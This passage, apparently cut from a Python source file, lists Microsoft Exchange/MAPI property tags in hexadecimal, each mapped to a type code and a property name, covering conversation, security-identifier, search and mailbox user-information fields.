(0x001f, None, None, 4, None, None, \"MessageAudioNotes\"),\n        0x3ff5: (0x0003, None, None, 4, None, None, \"StorageQuotaLimit\"),\n        0x3ff6: (0x0003, None, None, 4, None, None, \"ExcessStorageUsed\"),\n        0x3ff7: (0x001f, None, None, 4, None, None, \"SvrGeneratingQuotaMsg\"),\n        0x3fc2: (0x000b, None, None, 4, None, None, \"PrimaryMbxOverQuota\"),\n        0x65c6: (0x0003, None, None, 4, None, None, \"SecureSubmitFlags\"),\n        0x673e: (0x0102, None, None, 4, None, None, \"PropertyGroupInformation\"),\n        0x6784: (0x0102, None, None, 4, None, None, \"SearchRestriction\"),\n        0x67b0: (0x00fd, None, None, 4, None, None, \"ViewRestriction\"),\n        0x6788: (0x0003, None, None, 4, None, None, \"LCIDRestriction\"),\n        0x676e: (0x0003, None, None, 4, None, None, \"LCID\"),\n        0x67f3: (0x0040, None, None, 4, None, None, \"ViewAccessTime\"),\n        0x689e: (0x0003, None, None, 4, None, None, \"CategCount\"),\n        0x6819: (0x000b, None, None, 4, None, None, \"SoftDeletedFilter\"),\n        0x681b: (0x000b, None, None, 4, None, None, \"ConversationsFilter\"),\n        0x689c: (0x0003, None, None, 4, None, None, \"DVUIdLowest\"),\n        0x689d: (0x0003, None, None, 4, None, None, \"DVUIdHighest\"),\n        0x6880: (0x101f, None, None, 4, None, None, \"ConversationMvFrom\"),\n        0x6881: (0x101f, None, None, 4, None, None, \"ConversationMvFromMailboxWide\"),\n        0x6882: (0x101f, None, None, 4, None, None, \"ConversationMvTo\"),\n        0x6883: (0x101f, None, None, 4, None, None, \"ConversationMvToMailboxWide\"),\n        0x6884: (0x0040, None, None, 4, None, None, \"ConversationMsgDeliveryTime\"),\n        0x6885: (0x0040, None, None, 4, None, None, \"ConversationMsgDeliveryTimeMailboxWide\"),\n        0x6886: (0x101f, None, None, 4, None, None, \"ConversationCategories\"),\n        0x6887: (0x101f, None, None, 4, None, None, \"ConversationCategoriesMailboxWide\"),\n        0x6888: (0x0003, None, None, 4, None, None, \"ConversationFlagStatus\"),\n        0x6889: (0x0003, None, None, 4, None, None, \"ConversationFlagStatusMailboxWide\"),\n        0x688a: (0x0040, None, None, 4, None, None, \"ConversationFlagCompleteTime\"),\n        0x688b: (0x0040, None, None, 4, None, None, \"ConversationFlagCompleteTimeMailboxWide\"),\n        0x688c: (0x000b, None, None, 4, None, None, \"ConversationHasAttach\"),\n        0x688d: (0x000b, None, None, 4, None, None, \"ConversationHasAttachMailboxWide\"),\n        0x688e: (0x0003, None, None, 4, None, None, \"ConversationContentCount\"),\n        0x688f: (0x0003, None, None, 4, None, None, \"ConversationContentCountMailboxWide\"),\n        0x6893: (0x0003, None, None, 4, None, None, \"ConversationMessageSizeMailboxWide\"),\n        0x6894: (0x101f, None, None, 4, None, None, \"ConversationMessageClasses\"),\n        0x6895: (0x101f, None, None, 4, None, None, \"ConversationMessageClassesMailboxWide\"),\n        0x6896: (0x0003, None, None, 4, None, None, \"ConversationReplyForwardState\"),\n        0x6897: (0x0003, None, None, 4, None, None, \"ConversationReplyForwardStateMailboxWide\"),\n        0x6898: (0x0003, None, None, 4, None, None, \"ConversationImportance\"),\n        0x6899: (0x0003, None, None, 4, None, None, \"ConversationImportanceMailboxWide\"),\n        0x689a: (0x101f, None, None, 4, None, None, \"ConversationMvFromUnread\"),\n        0x689b: (0x101f, None, None, 4, None, None, \"ConversationMvFromUnreadMailboxWide\"),\n        0x68a0: (0x1102, None, None, 4, None, None, \"ConversationMvItemIds\"),\n        0x68a1: (0x1102, None, None, 4, None, None, \"ConversationMvItemIdsMailboxWide\"),\n        0x68a2: (0x000b, None, None, 4, None, None, \"ConversationHasIrm\"),\n        0x68a3: (0x000b, None, None, 4, None, None, \"ConversationHasIrmMailboxWide\"),\n        0x682c: (0x0040, None, None, 4, None, None, \"TransportSyncSubscriptionListTimestamp\"),\n        0x3690: (0x0102, None, None, 4, None, None, \"TransportRulesSnapshot\"),\n        0x3691: (0x0048, None, None, 4, None, None, \"TransportRulesSnapshotId\"),\n        0x7c05: (0x0040, None, None, 4, None, None, \"DeletedMessageSizeExtendedLastModificationTime\"),\n        0x0082: (0x001f, None, None, 4, None, None, \"ReportOriginalSender\"),\n        0x0083: (0x001f, None, None, 4, None, None, \"ReportDispositionToNames\"),\n        0x0084: (0x001f, None, None, 4, None, None, \"ReportDispositionToEmailAddress\"),\n        0x0085: (0x001f, None, None, 4, None, None, \"ReportDispositionOptions\"),\n        0x0086: (0x0002, None, None, 4, None, None, \"RichContent\"),\n        0x0100: (0x101f, None, None, 4, None, None, \"AdministratorEMail\"),\n        0x0c24: (0x0102, None, None, 4, None, None, \"ParticipantSID\"),\n        0x0c25: (0x0102, None, None, 4, None, None, \"ParticipantGuid\"),\n        0x0c26: (0x001f, None, None, 4, None, None, \"ToGroupExpansionRecipients\"),\n        0x0c27: (0x001f, None, None, 4, None, None, \"CcGroupExpansionRecipients\"),\n        0x0c28: (0x001f, None, None, 4, None, None, \"BccGroupExpansionRecipients\"),\n        0x0e0b: (0x0102, None, None, 4, None, None, \"ImmutableEntryId\"),\n        0x0e2e: (0x0003, None, None, 4, None, None, \"MessageIsHidden\"),\n        0x0e33: (0x001f, None, None, 4, None, None, \"OlcPopId\"),\n        0x0e38: (0x0003, None, None, 4, None, None, \"ReplFlags\"),\n        0x0e40: (0x0102, None, None, 4, None, None, \"SenderGuid\"),\n        0x0e41: (0x0102, None, None, 4, None, None, \"SentRepresentingGuid\"),\n        0x0e42: (0x0102, None, None, 4, None, None, \"OriginalSenderGuid\"),\n        0x0e43: (0x0102, None, None, 4, None, None, \"OriginalSentRepresentingGuid\"),\n        0x0e44: (0x0102, None, None, 4, None, None, \"ReadReceiptGuid\"),\n        0x0e45: (0x0102, None, None, 4, None, None, \"ReportGuid\"),\n        0x0e46: (0x0102, None, None, 4, None, None, \"OriginatorGuid\"),\n        0x0e47: (0x0102, None, None, 4, None, None, \"ReportDestinationGuid\"),\n        0x0e48: (0x0102, None, None, 4, None, None, \"OriginalAuthorGuid\"),\n        0x0e49: (0x0102, None, None, 4, None, None, \"ReceivedByGuid\"),\n        0x0e4a: (0x0102, None, None, 4, None, None, \"ReceivedRepresentingGuid\"),\n        0x0e4b: (0x0102, None, None, 4, None, None, \"CreatorGuid\"),\n        0x0e4c: (0x0102, None, None, 4, None, None, \"LastModifierGuid\"),\n        0x0e4d: (0x0102, None, None, 4, None, None, \"SenderSID\"),\n        0x0e4e: (0x0102, None, None, 4, None, None, \"SentRepresentingSID\"),\n        0x0e4f: (0x0102, None, None, 4, None, None, \"OriginalSenderSid\"),\n        0x0e50: (0x0102, None, None, 4, None, None, \"OriginalSentRepresentingSid\"),\n        0x0e51: (0x0102, None, None, 4, None, None, \"ReadReceiptSid\"),\n        0x0e52: (0x0102, None, None, 4, None, None, \"ReportSid\"),\n        0x0e53: (0x0102, None, None, 4, None, None, \"OriginatorSid\"),\n        0x0e54: (0x0102, None, None, 4, None, None, \"ReportDestinationSid\"),\n        0x0e55: (0x0102, None, None, 4, None, None, \"OriginalAuthorSid\"),\n        0x0e56: (0x0102, None, None, 4, None, None, \"ReceivedBySid\"),\n        0x0e57: (0x0102, None, None, 4, None, None, \"ReceivedRepresentingSid\"),\n        0x0e58: (0x0102, None, None, 4, None, None, \"CreatorSID\"),\n        0x0e59: (0x0102, None, None, 4, None, None, \"LastModifierSid\"),\n        0x0e5a: (0x0102, None, None, 4, None, None, \"RecipientCAI\"),\n        0x0e5b: (0x0102, None, None, 4, None, None, \"ConversationCreatorSID\"),\n        0x0e5d: (0x000b, None, None, 4, None, None, \"IsUserKeyDecryptPossible\"),\n        0x0e5e: (0x0003, None, None, 4, None, None, \"MaxIndices\"),\n        0x0e5f: (0x0014, None, None, 4, None, None, \"SourceFid\"),\n        0x0e60: (0x0102, None, None, 4, None, None, \"PFContactsGuid\"),\n        0x0e61: (0x0003, None, None, 4, None, None, \"UrlCompNamePostfix\"),\n        0x0e62: (0x000b, None, None, 4, None, None, \"URLCompNameSet\"),\n        0x0e64: (0x0003, None, None, 4, None, None, \"DeletedSubfolderCount\"),\n        0x0e68: (0x0003, None, None, 4, None, None, \"MaxCachedViews\"),\n        0x0e6b: (0x001f, None, None, 4, None, None, \"AdminNTSecurityDescriptorAsXML\"),\n        0x0e6c: (0x001f, None, None, 4, None, None, \"CreatorSidAsXML\"),\n        0x0e6d: (0x001f, None, None, 4, None, None, \"LastModifierSidAsXML\"),\n        0x0e6e: (0x001f, None, None, 4, None, None, \"SenderSIDAsXML\"),\n        0x0e6f: (0x001f, None, None, 4, None, None, \"SentRepresentingSidAsXML\"),\n        0x0e70: (0x001f, None, None, 4, None, None, \"OriginalSenderSIDAsXML\"),\n        0x0e71: (0x001f, None, None, 4, None, None, \"OriginalSentRepresentingSIDAsXML\"),\n        0x0e72: (0x001f, None, None, 4, None, None, \"ReadReceiptSIDAsXML\"),\n        0x0e73: (0x001f, None, None, 4, None, None, \"ReportSIDAsXML\"),\n        0x0e74: (0x001f, None, None, 4, None, None, \"OriginatorSidAsXML\"),\n        0x0e75: (0x001f, None, None, 4, None, None, \"ReportDestinationSIDAsXML\"),\n        0x0e76: (0x001f, None, None, 4, None, None, \"OriginalAuthorSIDAsXML\"),\n        0x0e77: (0x001f, None, None, 4, None, None, \"ReceivedBySIDAsXML\"),\n        0x0e78: (0x001f, None, None, 4, None, None, \"ReceivedRepersentingSIDAsXML\"),\n        0x0e7a: (0x0102, None, None, 4, None, None, \"MergeMidsetDeleted\"),\n        0x0e7b: (0x0102, None, None, 4, None, None, \"ReserveRangeOfIDs\"),\n        0x0e97: (0x001f, None, None, 4, None, None, \"AddrTo\"),\n        0x0e98: (0x001f, None, None, 4, None, None, \"AddrCc\"),\n        0x0e9f: (0x101f, None, None, 4, None, None, \"EntourageSentHistory\"),\n        0x0ea2: (0x0003, None, None, 4, None, None, \"ProofInProgress\"),\n        0x0ea5: (0x001f, None, None, 4, None, None, \"SearchAttachmentsOLK\"),\n        0x0ea6: (0x001f, None, None, 4, None, None, \"SearchRecipEmailTo\"),\n        0x0ea7: (0x001f, None, None, 4, None, None, \"SearchRecipEmailCc\"),\n        0x0ea8: (0x001f, None, None, 4, None, None, \"SearchRecipEmailBcc\"),\n        0x0eaa: (0x0003, None, None, 4, None, None, \"SFGAOFlags\"),\n        0x0ece: (0x000b, None, None, 4, None, None, \"SearchIsPartiallyIndexed\"),\n        0x0ecf: (0x001f, None, None, 4, None, None, \"SearchUniqueBody\"),\n        0x0ed0: (0x0003, None, None, 4, None, None, \"SearchErrorCode\"),\n        0x0ed1: (0x0040, None, None, 4, None, None, \"SearchReceivedTime\"),\n        0x0ed2: (0x0003, None, None, 4, None, None, \"SearchNumberOfTopRankedResults\"),\n        0x0ed3: (0x0003, None, None, 4, None, None, \"SearchControlFlags\"),\n        0x0ed4: (0x001f, None, None, 4, None, None, \"SearchRankingModel\"),\n        0x0ed5: (0x0003, None, None, 4, None, None, \"SearchMinimumNumberOfDateOrderedResults\"),\n        0x0ed6: (0x001f, None, None, 4, None, None, \"SearchSharePointOnlineSearchableProps\"),\n        0x0ed7: (0x0002, None, None, 4, None, None, \"SearchRelevanceRankedResults\"),\n        0x0edd: (0x0102, None, None, 4, None, None, \"MailboxSyncState\"),\n        0x0f01: (0x0040, None, None, 4, None, None, \"RenewTime\"),\n        0x0f02: (0x0040, None, None, 4, None, None, \"DeliveryOrRenewTime\"),\n        0x0f03: (0x0102, None, None, 4, None, None, \"ConversationThreadId\"),\n        0x0f04: (0x0003, None, None, 4, None, None, \"LikeCount\"),\n        0x0f05: (0x0002, None, None, 4, None, None, \"RichContentDeprecated\"),\n        0x0f06: (0x0003, None, None, 4, None, None, \"PeopleCentricConversationId\"),\n        0x0f07: (0x0040, None, None, 4, None, None, \"ReturnTime\"),\n        0x0f08: (0x0040, None, None, 4, None, None, \"LastAttachmentsProcessedTime\"),\n        0x0f0a: (0x0040, None, None, 4, None, None, \"LastActivityTime\"),\n        0x100a: (0x0102, None, None, 4, None, None, \"AlternateBestBody\"),\n        0x100c: (0x0102, None, None, 4, None, None, \"IsIntegJobCorruptions\"),\n        0x100e: (0x0002, None, None, 4, None, None, \"IsIntegJobPriority\"),\n        0x100f: (0x0005, None, None, 4, None, None, \"IsIntegJobTimeInServer\"),\n        0x1017: (0x0102, None, None, 4, None, None, \"AnnotationToken\"),\n        0x1030: (0x001f, None, None, 4, None, None, \"InternetApproved\"),\n        0x1033: (0x001f, None, None, 4, None, None, \"InternetFollowupTo\"),\n        0x1036: (0x001f, None, None, 4, None, None, \"InetNewsgroups\"),\n        0x103d: (0x0102, None, None, 4, None, None, \"PostReplyFolderEntries\"),\n        0x1040: (0x001f, None, None, 4, None, None, \"NNTPXRef\"),\n        0x1084: (0x0003, None, None, 4, None, None, \"Relevance\"),\n        0x1092: (0x0003, None, None, 4, None, None, \"FormatPT\"),\n        0x10c0: (0x0102, None, None, 4, None, None, \"SMTPTempTblData\"),\n        0x10c1: (0x0003, None, None, 4, None, None, \"SMTPTempTblData2\"),\n        0x10c2: (0x0102, None, None, 4, None, None, \"SMTPTempTblData3\"),\n        0x10f0: (0x0102, None, None, 4, None, None, \"IMAPCachedMsgSize\"),\n        0x10f2: (0x000b, None, None, 4, None, None, \"DisableFullFidelity\"),\n        0x10f3: (0x001f, None, None, 4, None, None, \"UrlCompName\"),\n        0x10f5: (0x000b, None, None, 4, None, None, \"AttrSystem\"),\n        0x1204: (0x1002, None, None, 4, None, None, \"PredictedActions\"),\n        0x1205: (0x1002, None, None, 4, None, None, \"GroupingActions\"),\n        0x1206: (0x0003, None, None, 4, None, None, \"PredictedActionsSummary\"),\n        0x1207: (0x000b, None, None, 4, None, None, \"IsClutter\"),\n        0x120b: (0x0102, None, None, 4, None, None, \"OriginalDeliveryFolderInfo\"),\n        0x120c: (0x0102, None, None, 4, None, None, \"ClutterFolderEntryIdWellKnown\"),\n        0x120d: (0x0102, None, None, 4, None, None, \"BirthdayCalendarFolderEntryIdWellKnown\"),\n        0x120e: (0x0102, None, None, 4, None, None, \"InferencePredictedClutterReasons\"),\n        0x120f: (0x0102, None, None, 4, None, None, \"InferencePredictedNotClutterReasons\"),\n        0x1210: (0x0102, None, None, 4, None, None, \"BookingStaffFolderEntryId\"),\n        0x1211: (0x0102, None, None, 4, None, None, \"BookingServicesFolderEntryId\"),\n        0x1212: (0x0003, None, None, 4, None, None, \"InferenceClassificationInternal\"),\n        0x1213: (0x0003, None, None, 4, None, None, \"InferenceClassification\"),\n        0x1214: (0x0102, None, None, 4, None, None, \"SchedulesFolderEntryId\"),\n        0x1215: (0x0102, None, None, 4, None, None, \"AllTaggedItemsFolderEntryId\"),\n        0x1236: (0x0048, None, None, 4, None, None, \"WellKnownFolderGuid\"),\n        0x1237: (0x0003, None, None, 4, None, None, \"RemoteFolderSyncStatus\"),\n        0x1238: (0x0102, None, None, 4, None, None, \"BookingCustomQuestionsFolderEntryId\"),\n        0x300e: (0x000b, None, None, 4, None, None, \"UserInformationAntispamBypassEnabled\"),\n        0x300f: (0x001f, None, None, 4, None, None, \"UserInformationArchiveDomain\"),\n        0x3017: (0x0040, None, None, 4, None, None, \"UserInformationBirthdate\"),\n        0x3020: (0x001f, None, None, 4, None, None, \"UserInformationCountryOrRegion\"),\n        0x3021: (0x001f, None, None, 4, None, None, \"UserInformationDefaultMailTip\"),\n        0x3022: (0x000b, None, None, 4, None, None, \"UserInformationDeliverToMailboxAndForward\"),\n        0x3023: (0x101f, None, None, 4, None, None, \"UserInformationDescription\"),\n        0x3024: (0x0048, None, None, 4, None, None, \"UserInformationDisabledArchiveGuid\"),\n        0x3025: (0x000b, None, None, 4, None, None, \"UserInformationDowngradeHighPriorityMessagesEnabled\"),\n        0x3026: (0x000b, None, None, 4, None, None, \"UserInformationECPEnabled\"),\n        0x3027: (0x000b, None, None, 4, None, None, \"UserInformationEmailAddressPolicyEnabled\"),\n        0x3028: (0x000b, None, None, 4, None, None, \"UserInformationEwsAllowEntourage\"),\n        0x3029: (0x000b, None, None, 4, None, None, \"UserInformationEwsAllowMacOutlook\"),\n        0x302a: (0x000b, None, None, 4, None, None, \"UserInformationEwsAllowOutlook\"),\n        0x302b: (0x0003, None, None, 4, None, None, \"UserInformationEwsApplicationAccessPolicy\"),\n        0x302c: (0x0003, None, None, 4, None, None, \"UserInformationEwsEnabled\"),\n        0x302d: (0x101f, None, None, 4, None, None, \"UserInformationEwsExceptions\"),\n        0x302e: (0x101f, None, None, 4, None, None, \"UserInformationEwsWellKnownApplicationAccessPolicies\"),\n        0x302f: (0x0048, None, None, 4, None, None, \"UserInformationExchangeGuid\"),\n        0x3030: (0x0003, None, None, 4, None, None, \"UserInformationExternalOofOptions\"),\n        0x3031: (0x001f, None, None, 4, None, None, \"UserInformationFirstName\"),\n        0x3032: (0x001f, None, None, 4, None, None, \"UserInformationForwardingSmtpAddress\"),\n        0x3033: (0x001f, None, None, 4, None, None, \"UserInformationGender\"),\n        0x3034: (0x001f, None, None, 4, None, None, \"UserInformationGenericForwardingAddress\"),\n        0x3035: (0x001f, None, None, 4, None, None, \"UserInformationGeoCoordinates\"),\n        0x3036: (0x0003, None, None, 4, None, None, \"UserInformationHABSeniorityIndex\"),\n        0x3037: (0x000b, None, None, 4, None, None, \"UserInformationHasActiveSyncDevicePartnership\"),\n        0x3038: (0x000b, None, None, 4, None, None, \"UserInformationHiddenFromAddressListsEnabled\"),\n        0x3039: (0x000b, None, None, 4, None, None, \"UserInformationHiddenFromAddressListsValue\"),\n        0x303a: (0x001f, None, None, 4, None, None, \"UserInformationHomePhone\"),\n        0x303b: (0x000b, None, None, 4, None, None, \"UserInformationImapEnabled\"),\n        0x303c: (0x000b, None, None, 4, None, None, \"UserInformationImapEnableExactRFC822Size\"),\n        0x303d: (0x000b, None, None, 4, None, None, \"UserInformationImapForceICalForCalendarRetrievalOption\"),\n        0x303e: (0x0003, None, None, 4, None, None, \"UserInformationImapMessagesRetrievalMimeFormat\"),\n        0x303f: (0x0003, None, None, 4, None, None, \"UserInformationImapProtocolLoggingEnabled\"),\n        0x3040: (0x000b, None, None, 4, None, None, \"UserInformationImapSuppressReadReceipt\"),\n        0x3041: (0x000b, None, None, 4, None, None, \"UserInformationImapUseProtocolDefaults\"),\n        0x3042: (0x000b, None, None, 4, None, None, \"UserInformationIncludeInGarbageCollection\"),\n        0x3043: (0x001f, None, None, 4, None, None, \"UserInformationInitials\"),\n        0x3044: (0x101f, None, None, 4, None, None, \"UserInformationInPlaceHolds\"),\n        0x3045: (0x000b, None, None, 4, None, None, \"UserInformationInternalOnly\"),\n        0x3046: (0x001f, None, None, 4, None, None, \"UserInformationInternalUsageLocation\"),\n        0x3047: (0x0003, None, None, 4, None, None, \"UserInformationInternetEncoding\"),\n        0x3048: (0x000b, None, None, 4, None, None, \"UserInformationIsCalculatedTargetAddress\"),\n        0x3049: (0x000b, None, None, 4, None, None, \"UserInformationIsExcludedFromServingHierarchy\"),\n        0x304a: (0x000b, None, None, 4, None, None, \"UserInformationIsHierarchyReady\"),\n        0x304b: (0x000b, None, None, 4, None, None, \"UserInformationIsInactiveMailbox\"),\n        0x304c: (0x000b, None, None, 4, None, None, \"UserInformationIsSoftDeletedByDisable\"),\n        0x304d: (0x000b, None, None, 4, None, None, \"UserInformationIsSoftDeletedByRemove\"),\n        0x304e: (0x001f, None, None, 4, None, None, \"UserInformationIssueWarningQuota\"),\n        0x304f: (0x001f, None, None, 4, None, None, \"UserInformationJournalArchiveAddress\"),\n        0x3051: (0x0040, None, None, 4, None, None, \"UserInformationLastExchangeChangedTime\"),\n        0x3052: (0x001f, None, None, 4, None, None, \"UserInformationLastName\"),\n        0x3053: (0x0040, None, None, 4, None, None, \"UserInformationLastAliasSyncSubmittedTime\"),\n        0x3054: (0x000b, None, None, 4, None, None, \"UserInformationLEOEnabled\"),\n        0x3055: (0x1003, None, None, 4, None, None, \"UserInformationLocaleID\"),\n        0x3056: (0x0003, None, None, 4, None, None, \"UserInformationLongitude\"),\n        0x3057: (0x0003, None, None, 4, None, None, \"UserInformationMacAttachmentFormat\"),\n        0x3058: (0x0048, None, None, 4, None, None, \"UserInformationMailboxContainerGuid\"),\n        0x3059: (0x001f, None, None, 4, None, None, \"UserInformationMailboxMoveBatchName\"),\n        0x305a: (0x001f, None, None, 4, None, None, \"UserInformationMailboxMoveRemoteHostName\"),\n        0x305b: (0x0003, None, None, 4, None, None, \"UserInformationMailboxMoveStatus\"),\n        0x305c: (0x001f, None, None, 4, None, None, \"UserInformationMailboxRelease\"),\n        0x305d: (0x101f, None, None, 4, None, None, \"UserInformationMailTipTranslations\"),\n        0x305e: (0x000b, None, None, 4, None, None, \"UserInformationMAPIBlockOutlookNonCachedMode\"),\n        0x305f: (0x000b, None, None, 4, None, None, \"UserInformationMAPIBlockOutlookRpcHttp\"),\n        0x3060: (0x001f, None, None, 4, None, None, \"UserInformationMAPIBlockOutlookVersions\"),\n        0x3061: (0x0003, None, None, 4, None, None, \"UserInformationMailboxStatus\"),\n        0x3062: (0x000b, None, None, 4, None, None, \"UserInformationMapiRecipient\"),\n        0x3063: (0x0003, None, None, 4, None, None, \"UserInformationMaxBlockedSenders\"),\n        0x3064: (0x001f, None, None, 4, None, None, \"UserInformationMaxReceiveSize\"),\n        0x3065: (0x0003, None, None, 4, None, None, \"UserInformationMaxSafeSenders\"),\n        0x3066: (0x001f, None, None, 4, None, None, \"UserInformationMaxSendSize\"),\n        0x3067: (0x001f, None, None, 4, None, None, \"UserInformationMemberName\"),\n        0x3068: (0x0003, None, None, 4, None, None, \"UserInformationMessageBodyFormat\"),\n        0x3069: (0x0003, None, None, 4, None, None, \"UserInformationMessageFormat\"),\n        0x306a: (0x000b, None, None, 4, None, None, \"UserInformationMessageTrackingReadStatusDisabled\"),\n        0x306b: (0x0003, None, None, 4, None, None, \"UserInformationMobileFeaturesEnabled\"),\n        0x306c: (0x001f, None, None, 4, None, None, \"UserInformationMobilePhone\"),\n        0x306d: (0x0003, None, None, 4, None, None, \"UserInformationModerationFlags\"),\n        0x306e: (0x001f, None, None, 4, None, None, \"UserInformationNotes\"),\n        0x306f: (0x001f, None, None, 4, None, None, \"UserInformationOccupation\"),\n        0x3070: (0x000b, None, None, 4, None, None, \"UserInformationOpenDomainRoutingDisabled\"),\n        0x3071: (0x101f, None, None, 4, None, None, \"UserInformationOtherHomePhone\"),\n        0x3072: (0x101f, None, None, 4, None, None, \"UserInformationOtherMobile\"),\n        0x3073: (0x101f, None, None, 4, None, None, \"UserInformationOtherTelephone\"),\n        0x3074: (0x000b, None, None, 4, None, None, \"UserInformationOWAEnabled\"),\n        0x3075: (0x000b, None, None, 4, None, None, \"UserInformationOWAforDevicesEnabled\"),\n        0x3076: (0x001f, None, None, 4, None, None, \"UserInformationPager\"),\n        0x3077: (0x1003, None, None, 4, None, None, \"UserInformationPersistedCapabilities\"),\n        0x3078: (0x001f, None, None, 4, None, None, \"UserInformationPhone\"),\n        0x3079: (0x001f, None, None, 4, None, None, \"UserInformationPhoneProviderId\"),\n        0x307a: (0x000b, None, None, 4, None, None, \"UserInformationPopEnabled\"),\n        0x307b: (0x000b, None, None, 4, None, None, \"UserInformationPopEnableExactRFC822Size\"),\n        0x307c: (0x000b, None, None, 4, None, None, \"UserInformationPopForceICalForCalendarRetrievalOption\"),\n        0x307d: (0x0003, None, None, 4, None, None, \"UserInformationPopMessagesRetrievalMimeFormat\"),\n        0x307e: (0x0003, None, None, 4, None, None, \"UserInformationPopProtocolLoggingEnabled\"),\n        0x307f: (0x000b, None, None, 4, None, None, \"UserInformationPopSuppressReadReceipt\"),\n        0x3080: (0x000b, None, None, 4, None, None, \"UserInformationPopUseProtocolDefaults\"),\n        0x3081: (0x001f, None, None, 4, None, None, \"UserInformationPostalCode\"),\n        0x3082: (0x101f, None, None, 4, None, None, \"UserInformationPostOfficeBox\"),\n        0x3083: (0x0048, None, None, 4, None, None, \"UserInformationPreviousExchangeGuid\"),\n        0x3084: (0x0003, None, None, 4, None, None, \"UserInformationPreviousRecipientTypeDetails\"),\n        0x3085: (0x001f, None, None, 4, None, None, \"UserInformationProhibitSendQuota\"),\n        0x3086: (0x001f, None, None, 4, None, None, \"UserInformationProhibitSendReceiveQuota\"),\n        0x3087: (0x000b, None, None, 4, None, None, \"UserInformationQueryBaseDNRestrictionEnabled\"),\n        0x3088: (0x0003, None, None, 4, None, None, \"UserInformationRecipientDisplayType\"),\n        0x3089: (0x001f, None, None, 4, None, None, \"UserInformationRecipientLimits\"),\n        0x308a: (0x0003, None, None, 4, None, None, \"UserInformationRecipientSoftDeletedStatus\"),\n        0x308b: (0x001f, None, None, 4, None, None, \"UserInformationRecoverableItemsQuota\"),\n        0x308c: (0x001f, None, None, 4, None, None, \"UserInformationRecoverableItemsWarningQuota\"),\n        0x308d: (0x001f, None, None, 4, None, None, \"UserInformationRegion\"),\n        0x308e: (0x000b, None, None, 4, None, None, \"UserInformationRemotePowerShellEnabled\"),\n        0x308f: (0x0003, None, None, 4, None, None, \"UserInformationRemoteRecipientType\"),\n        0x3090: (0x000b, None, None, 4, None, None, \"UserInformationRequireAllSendersAreAuthenticated\"),\n        0x3091: (0x000b, None, None, 4, None, None, \"UserInformationResetPasswordOnNextLogon\"),\n        0x3092: (0x0014, None, None, 4, None, None, \"UserInformationRetainDeletedItemsFor\"),\n        0x3093: (0x000b, None, None, 4, None, None, \"UserInformationRetainDeletedItemsUntilBackup\"),\n        0x3094: (0x001f, None, None, 4, None, None, \"UserInformationRulesQuota\"),\n        0x3095: (0x000b, None, None, 4, None, None, \"UserInformationShouldUseDefaultRetentionPolicy\"),\n        0x3096: (0x001f, None, None, 4, None, None, \"UserInformationSimpleDisplayName\"),\n        0x3097: (0x000b, None, None, 4, None, None, \"UserInformationSingleItemRecoveryEnabled\"),\n        0x3098: (0x001f, None, None, 4, None, None, \"UserInformationStateOrProvince\"),\n        0x3099: (0x001f, None, None, 4, None, None, \"UserInformationStreetAddress\"),\n        0x309a: (0x000b, None, None, 4, None, None, \"UserInformationSubscriberAccessEnabled\"),\n        0x309b: (0x001f, None, None, 4, None, None, \"UserInformationTextEncodedORAddress\"),\n        0x309c: (0x101f, None, None, 4, None, None, \"UserInformationTextMessagingState\"),\n        0x309d: (0x001f, None, None, 4, None, None, \"UserInformationTimezone\"),\n        0x309e: (0x000b, None, None, 4, None, None, \"UserInformationUCSImListMigrationCompleted\"),\n        0x309f: (0x001f, None, None, 4, None, None, \"UserInformationUpgradeDetails\"),\n        0x30a0: (0x001f, None, None, 4, None, None, \"UserInformationUpgradeMessage\"),\n        0x30a1: (0x0003, None, None, 4, None, None, \"UserInformationUpgradeRequest\"),\n        0x30a2: (0x0003, None, None, 4, None, None, \"UserInformationUpgradeStage\"),\n        0x30a3: (0x0040, None, None, 4, None, None, \"UserInformationUpgradeStageTimeStamp\"),\n        0x30a4: (0x0003, None, None, 4, None, None, \"UserInformationUpgradeStatus\"),\n        0x30a5: (0x001f, None, None, 4, None, None, \"UserInformationUsageLocation\"),\n        0x30a6: (0x0003, None, None, 4, None, None, \"UserInformationUseMapiRichTextFormat\"),\n        0x30a7: (0x000b, None, None, 4, None, None, \"UserInformationUsePreferMessageFormat\"),\n        0x30a8: (0x000b, None, None, 4, None, None, \"UserInformationUseUCCAuditConfig\"),\n        0x30a9: (0x001f, None, None, 4, None, None, \"UserInformationWebPage\"),\n        0x30aa: (0x0040, None, None, 4, None, None, \"UserInformationWhenMailboxCreated\"),\n        0x30ab: (0x0040, None, None, 4, None, None, \"UserInformationWhenSoftDeleted\"),\n        0x30ac: (0x001f, None, None, 4, None, None, \"UserInformationBirthdayPrecision\"),\n        0x30ad: (0x001f, None, None, 4, None, None, \"UserInformationNameVersion\"),\n        0x30ae: (0x0040, None, None, 4, None, None, \"UserInformationOptInTime\"),\n        0x30af: (0x000b, None, None, 4, None, None, \"UserInformationIsMigratedConsumerMailbox\"),\n        0x30b0: (0x000b, None, None, 4, None, None, \"UserInformationMigrationDryRun\"),\n        0x30b1: (0x000b, None, None, 4, None, None, \"UserInformationIsPremiumConsumerMailbox\"),\n        0x30b2: (0x001f, None, None, 4, None, None, \"UserInformationAlternateSupportEmailAddresses\"),\n        0x30b3: (0x101f, None, None, 4, None, None, \"UserInformationEmailAddresses\"),\n        0x30b4: (0x000b, None, None, 4, None, None, \"UserInformationHasSnackyAppData\"),\n        0x30b5: (0x001f, None, None, 4, None, None, \"UserInformationMailboxMoveTargetMDB\"),\n        0x30b6: (0x001f, None, None, 4, None, None, \"UserInformationMailboxMoveSourceMDB\"),\n        0x30b7: (0x0003, None, None, 4, None, None, \"UserInformationMailboxMoveFlags\"),\n        0x30b8: (0x0040, None, None, 4, None, None, \"UserInformationHydraLastSyncTimestamp\"),\n        0x30b9: (0x0048, None, None, 4, None, None, \"UserInformationHydraSyncStartIdentity\"),\n        0x30ba: (0x0040, None, None, 4, None, None, \"UserInformationHydraSyncStartTimestamp\"),\n        0x30bb: (0x0002, None, None, 4, None, None, \"UserInformationStatus\"),\n        0x30bc: (0x0040, None, None, 4, None, None, \"UserInformationDeletedOn\"),\n        0x30bd: (0x000b, None, None, 4, None, None, \"UserInformationMigrationInterruptionTest\"),\n        0x30be: (0x0002, None, None, 4, None, None, \"UserInformationLocatorSource\"),\n        0x30bf: (0x000b, None, None, 4, None, None, \"UserInformationMAPIEnabled\"),\n        0x30c0: (0x0003, None, None, 4, None, None, \"UserInformationOlcDatFlags\"),\n        0x30c1: (0x0003, None, None, 4, None, None, \"UserInformationOlcDat2Flags\"),\n        0x30c2: (0x001f, None, None, 4, None, None, \"UserInformationDefaultFromAddress\"),\n        0x30c3: 